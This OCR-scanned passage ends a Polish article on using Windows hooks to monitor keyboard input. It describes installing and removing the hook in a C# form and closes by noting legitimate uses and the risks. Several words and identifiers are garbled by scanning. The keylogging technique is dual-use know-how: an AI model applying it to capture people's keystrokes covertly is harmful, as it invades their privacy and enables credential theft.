W konstruktorze Form1 tworzy-
my nowy obiekt klasy Hookclass i
wywotujemy funkcje monitoruja-
ca. Monitorowanie powinno zosta¢
zatrzymane w momencie, gdy apli-
kacja skonczy dziatanie. W zwigz-
ku z tym dla zdarzenia rormclosing
dodajemy metode  zdarzenio-
wa, ktéra wylgczy nasz hak. Po-
le nookInstallbone zabezpiecza
przed prébg odinstalowania funkcji
monitorujacej, gdy nie zostata ona
wczesniej zainstalowana.

Podsumowanie

Artykut ten opisuje uzycie hakéw
systemu Windows w celu podstu-
chiwania klawiatury. Jednak me-
chanizm hakéw nie zostat stwo-
rzony po to, zeby umozliwi¢ pisanie
narzedzi hakerskich. Haki nadajgq
sie Swietnie wszedzie tam, gdzie
zachodzi potrzeba nadzorowania
jednej aplikacji przez inng (np. tryb
debuggera, aplikacje szkoleniowe).
Jesli nie podoba nam sie dziatanie
jakies aplikacji w zwigzku z kon-
kretnym zdarzeniem, mozemy na-
pisa¢ wtasng metode zdarzeniowg
i podpigc sie z nig za pomocg me-
chanizmu hakoéw do aplikacji. Moz-
na tez napisa¢ wiasny hak, ktory
bedzie w stanie wytgczy¢ inne ha-
ki. Jak wida¢, mozliwosci jest wiele
— ale ta swoboda stanowi jednocze-
$nie duze zagrozenie, co — mamy
nadzieje — pokazat ten artykut. ®
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